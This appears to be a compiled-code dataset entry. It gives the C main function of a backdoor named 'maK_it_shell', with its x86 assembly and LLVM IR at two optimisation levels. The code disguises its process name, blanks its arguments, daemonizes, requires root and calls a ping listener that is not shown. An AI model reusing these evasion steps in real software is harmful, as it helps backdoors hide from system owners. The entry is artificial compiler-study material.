#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int EXIT_FAILURE;
int EXIT_SUCCESS;
int /*<<< orphan*/ SIGCLD;
int /*<<< orphan*/ SIG_IGN;
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ exit(int);
scalar_t__ fork();
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
scalar_t__ getgid();
int /*<<< orphan*/ memset(char *, char, int /*<<< orphan*/);
int /*<<< orphan*/ ping_listener();
int /*<<< orphan*/ signal(int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ stdout;
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ strncpy(char *, char *, int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  signal(SIGCLD, SIG_IGN);
  chdir("/");
  if ((argc == 2) && (argv[1][0] == '-') && (argv[1][1] == 'v')) {
    fprintf(stdout, "KEY:\t\t\t%s\n", "maK_it_$H3LL");
    fprintf(stdout, "Process name:\t\t%s\n", "maK_it_shell");
    fprintf(stdout, "Shell:\t\t\t%s\n", "/bin/sh");
  }
  int i;
  strncpy(argv[0], "maK_it_shell", strlen(argv[0]));
  for (i = 1; i < argc; i++) {
    memset(argv[i], ' ', strlen(argv[i]));
  }
  if (fork() != 0)
    exit(EXIT_SUCCESS);
  if (getgid() != 0) {
    fprintf(stdout, "Run as root!\n");
    exit(EXIT_FAILURE);
  }
  ping_listener();
  return EXIT_SUCCESS;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0x2e2b(%rip),%rax
mov    (%rax),%edi
mov    0x2e1a(%rip),%rax
mov    (%rax),%esi
call   1080 <signal@plt>
lea    0xe2c(%rip),%rdi
call   1050 <chdir@plt>
cmpl   $0x2,-0x8(%rbp)
jne    1266 <main+0xc6>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl (%rax),%eax
cmp    $0x2d,%eax
jne    1266 <main+0xc6>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rax
movsbl 0x1(%rax),%eax
cmp    $0x76,%eax
jne    1266 <main+0xc6>
mov    0x2db5(%rip),%rax
mov    (%rax),%edi
lea    0xde6(%rip),%rsi
lea    0xdea(%rip),%rdx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    0x2d97(%rip),%rax
mov    (%rax),%edi
lea    0xde0(%rip),%rsi
lea    0xdec(%rip),%rdx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    0x2d79(%rip),%rax
mov    (%rax),%edi
lea    0xde2(%rip),%rsi
lea    0xde8(%rip),%rdx
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rax
mov    %rax,-0x20(%rbp)
mov    -0x10(%rbp),%rax
mov    (%rax),%rdi
call   1040 <strlen@plt>
mov    -0x20(%rbp),%rdi
mov    %eax,%edx
lea    0xda3(%rip),%rsi
call   1030 <strncpy@plt>
movl   $0x1,-0x14(%rbp)
mov    -0x14(%rbp),%eax
cmp    -0x8(%rbp),%eax
jge    12e1 <main+0x141>
mov    -0x10(%rbp),%rax
movslq -0x14(%rbp),%rcx
mov    (%rax,%rcx,8),%rax
mov    %rax,-0x28(%rbp)
mov    -0x10(%rbp),%rax
movslq -0x14(%rbp),%rcx
mov    (%rax,%rcx,8),%rdi
call   1040 <strlen@plt>
mov    -0x28(%rbp),%rdi
mov    %eax,%edx
mov    $0x20,%esi
call   1060 <memset@plt>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    1296 <main+0xf6>
mov    $0x0,%al
call   10c0 <fork@plt>
cmp    $0x0,%rax
je     1300 <main+0x160>
mov    0x2cc7(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    $0x0,%al
call   10a0 <getgid@plt>
cmp    $0x0,%rax
je     1336 <main+0x196>
mov    0x2cb0(%rip),%rax
mov    (%rax),%edi
lea    0xd2e(%rip),%rsi
mov    $0x0,%al
call   1090 <fprintf@plt>
mov    0x2ca1(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    $0x0,%al
call   1070 <ping_listener@plt>
mov    0x2c7c(%rip),%rax
mov    (%rax),%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %rbx
push   %rax
mov    %rsi,%r15
mov    %edi,%r14d
mov    0x2e34(%rip),%rax
mov    (%rax),%edi
mov    0x2e23(%rip),%rax
mov    (%rax),%esi
call   1080 <signal@plt>
lea    0xe35(%rip),%rdi
call   1050 <chdir@plt>
cmp    $0x2,%r14d
jne    1231 <main+0x91>
mov    0x8(%r15),%rax
cmpb   $0x2d,(%rax)
jne    1231 <main+0x91>
cmpb   $0x76,0x1(%rax)
jne    1231 <main+0x91>
mov    0x2ddc(%rip),%rbx
mov    (%rbx),%edi
lea    0xe0d(%rip),%rsi
lea    0xe11(%rip),%rdx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    (%rbx),%edi
lea    0xe0e(%rip),%rsi
lea    0xe1a(%rip),%rdx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    (%rbx),%edi
lea    0xe17(%rip),%rsi
lea    0xe1d(%rip),%rdx
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    (%r15),%rbp
mov    %rbp,%rdi
call   1040 <strlen@plt>
lea    0xdea(%rip),%rsi
mov    %rbp,%rdi
mov    %eax,%edx
call   1030 <strncpy@plt>
cmp    $0x2,%r14d
jl     1284 <main+0xe4>
mov    %r14d,%r14d
mov    $0x1,%ebx
nopl   0x0(%rax,%rax,1)
mov    (%r15,%rbx,8),%rbp
mov    %rbp,%rdi
call   1040 <strlen@plt>
mov    %rbp,%rdi
mov    $0x20,%esi
mov    %eax,%edx
call   1060 <memset@plt>
add    $0x1,%rbx
cmp    %rbx,%r14
jne    1260 <main+0xc0>
xor    %eax,%eax
call   10c0 <fork@plt>
test   %rax,%rax
jne    12b7 <main+0x117>
xor    %eax,%eax
call   10a0 <getgid@plt>
test   %rax,%rax
jne    12c5 <main+0x125>
xor    %eax,%eax
call   1070 <ping_listener@plt>
mov    0x2d16(%rip),%rax
mov    (%rax),%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
ret
mov    0x2d02(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>
mov    0x2cfc(%rip),%rax
mov    (%rax),%edi
lea    0xd7a(%rip),%rsi
xor    %eax,%eax
call   1090 <fprintf@plt>
mov    0x2ced(%rip),%rax
mov    (%rax),%edi
call   10b0 <exit@plt>

LLVM IR (-O0):
@SIGCLD = global i32 0
@SIG_IGN = global i32 0
@.str = [2 x i8] c"/\00"
@stdout = global i32 0
@.str.1 = [11 x i8] c"KEY:\09\09\09%s\0A\00"
@.str.2 = [13 x i8] c"maK_it_$H3LL\00"
@.str.3 = [19 x i8] c"Process name:\09\09%s\0A\00"
@.str.4 = [13 x i8] c"maK_it_shell\00"
@.str.5 = [13 x i8] c"Shell:\09\09\09%s\0A\00"
@.str.6 = [8 x i8] c"/bin/sh\00"
@EXIT_SUCCESS = global i32 0
@.str.7 = [14 x i8] c"Run as root!\0A\00"
@EXIT_FAILURE = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%7 = load i32, i32* @SIGCLD
%8 = load i32, i32* @SIG_IGN
%9 = call i32 @signal(i32 %7, i32 %8)
%10 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%11 = load i32, i32* %4
%12 = icmp eq i32 %11, 2
br i1 %12, label %13, label %36
13: ; preds = %2
%14 = load i8**, i8*** %5
%15 = getelementptr inbounds i8*, i8** %14, i64 1
%16 = load i8*, i8** %15
%17 = getelementptr inbounds i8, i8* %16, i64 0
%18 = load i8, i8* %17
%19 = sext i8 %18 to i32
%20 = icmp eq i32 %19, 45
br i1 %20, label %21, label %36
21: ; preds = %13
%22 = load i8**, i8*** %5
%23 = getelementptr inbounds i8*, i8** %22, i64 1
%24 = load i8*, i8** %23
%25 = getelementptr inbounds i8, i8* %24, i64 1
%26 = load i8, i8* %25
%27 = sext i8 %26 to i32
%28 = icmp eq i32 %27, 118
br i1 %28, label %29, label %36
29: ; preds = %21
%30 = load i32, i32* @stdout
%31 = call i32 (i32, i8*, ...) @fprintf(i32 %30, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%32 = load i32, i32* @stdout
%33 = call i32 (i32, i8*, ...) @fprintf(i32 %32, i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0))
%34 = load i32, i32* @stdout
%35 = call i32 (i32, i8*, ...) @fprintf(i32 %34, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0))
br label %36
36: ; preds = %29, %21, %13, %2
%37 = load i8**, i8*** %5
%38 = getelementptr inbounds i8*, i8** %37, i64 0
%39 = load i8*, i8** %38
%40 = load i8**, i8*** %5
%41 = getelementptr inbounds i8*, i8** %40, i64 0
%42 = load i8*, i8** %41
%43 = call i32 @strlen(i8* %42)
%44 = call i32 @strncpy(i8* %39, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0), i32 %43)
store i32 1, i32* %6
br label %45
45: ; preds = %62, %36
%46 = load i32, i32* %6
%47 = load i32, i32* %4
%48 = icmp slt i32 %46, %47
br i1 %48, label %49, label %65
49: ; preds = %45
%50 = load i8**, i8*** %5
%51 = load i32, i32* %6
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8*, i8** %50, i64 %52
%54 = load i8*, i8** %53
%55 = load i8**, i8*** %5
%56 = load i32, i32* %6
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds i8*, i8** %55, i64 %57
%59 = load i8*, i8** %58
%60 = call i32 @strlen(i8* %59)
%61 = call i32 @memset(i8* %54, i8 signext 32, i32 %60)
br label %62
62: ; preds = %49
%63 = load i32, i32* %6
%64 = add nsw i32 %63, 1
store i32 %64, i32* %6
br label %45
65: ; preds = %45
%66 = call i64 (...) @fork()
%67 = icmp ne i64 %66, 0
br i1 %67, label %68, label %71
68: ; preds = %65
%69 = load i32, i32* @EXIT_SUCCESS
%70 = call i32 @exit(i32 %69)
unreachable
71: ; preds = %65
%72 = call i64 (...) @getgid()
%73 = icmp ne i64 %72, 0
br i1 %73, label %74, label %79
74: ; preds = %71
%75 = load i32, i32* @stdout
%76 = call i32 (i32, i8*, ...) @fprintf(i32 %75, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.7, i64 0, i64 0))
%77 = load i32, i32* @EXIT_FAILURE
%78 = call i32 @exit(i32 %77)
unreachable
79: ; preds = %71
%80 = call i32 (...) @ping_listener()
%81 = load i32, i32* @EXIT_SUCCESS
ret i32 %81
}

LLVM IR (-O2):
@SIGCLD = global i32 0
@SIG_IGN = global i32 0
@.str = [2 x i8] c"/\00"
@stdout = global i32 0
@.str.1 = [11 x i8] c"KEY:\09\09\09%s\0A\00"
@.str.2 = [13 x i8] c"maK_it_$H3LL\00"
@.str.3 = [19 x i8] c"Process name:\09\09%s\0A\00"
@.str.4 = [13 x i8] c"maK_it_shell\00"
@.str.5 = [13 x i8] c"Shell:\09\09\09%s\0A\00"
@.str.6 = [8 x i8] c"/bin/sh\00"
@EXIT_SUCCESS = global i32 0
@.str.7 = [14 x i8] c"Run as root!\0A\00"
@EXIT_FAILURE = global i32 0
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = load i32, i32* @SIGCLD
%4 = load i32, i32* @SIG_IGN
%5 = tail call i32 @signal(i32 %3, i32 %4)
%6 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%7 = icmp eq i32 %0, 2
br i1 %7, label %8, label %24
8: ; preds = %2
%9 = getelementptr inbounds i8*, i8** %1, i64 1
%10 = load i8*, i8** %9
%11 = load i8, i8* %10
%12 = icmp eq i8 %11, 45
br i1 %12, label %13, label %24
13: ; preds = %8
%14 = getelementptr inbounds i8, i8* %10, i64 1
%15 = load i8, i8* %14
%16 = icmp eq i8 %15, 118
br i1 %16, label %17, label %24
17: ; preds = %13
%18 = load i32, i32* @stdout
%19 = tail call i32 (i32, i8*, ...) @fprintf(i32 %18, i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.1, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%20 = load i32, i32* @stdout
%21 = tail call i32 (i32, i8*, ...) @fprintf(i32 %20, i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0))
%22 = load i32, i32* @stdout
%23 = tail call i32 (i32, i8*, ...) @fprintf(i32 %22, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.6, i64 0, i64 0))
br label %24
24: ; preds = %17, %13, %8, %2
%25 = load i8*, i8** %1
%26 = tail call i32 @strlen(i8* %25)
%27 = tail call i32 @strncpy(i8* %25, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.4, i64 0, i64 0), i32 %26)
%28 = icmp sgt i32 %0, 1
br i1 %28, label %29, label %39
29: ; preds = %24
%30 = zext i32 %0 to i64
br label %31
31: ; preds = %29, %31
%32 = phi i64 [ 1, %29 ], [ %37, %31 ]
%33 = getelementptr inbounds i8*, i8** %1, i64 %32
%34 = load i8*, i8** %33
%35 = tail call i32 @strlen(i8* %34)
%36 = tail call i32 @memset(i8* %34, i8 signext 32, i32 %35)
%37 = add nuw nsw i64 %32, 1
%38 = icmp eq i64 %37, %30
br i1 %38, label %39, label %31
39: ; preds = %31, %24
%40 = tail call i64 (...) @fork()
%41 = icmp eq i64 %40, 0
br i1 %41, label %45, label %42
42: ; preds = %39
%43 = load i32, i32* @EXIT_SUCCESS
%44 = tail call i32 @exit(i32 %43)
unreachable
45: ; preds = %39
%46 = tail call i64 (...) @getgid()
%47 = icmp eq i64 %46, 0
br i1 %47, label %53, label %48
48: ; preds = %45
%49 = load i32, i32* @stdout
%50 = tail call i32 (i32, i8*, ...) @fprintf(i32 %49, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.7, i64 0, i64 0))
%51 = load i32, i32* @EXIT_FAILURE
%52 = tail call i32 @exit(i32 %51)
unreachable
53: ; preds = %45
%54 = tail call i32 (...) @ping_listener()
%55 = load i32, i32* @EXIT_SUCCESS
ret i32 %55
}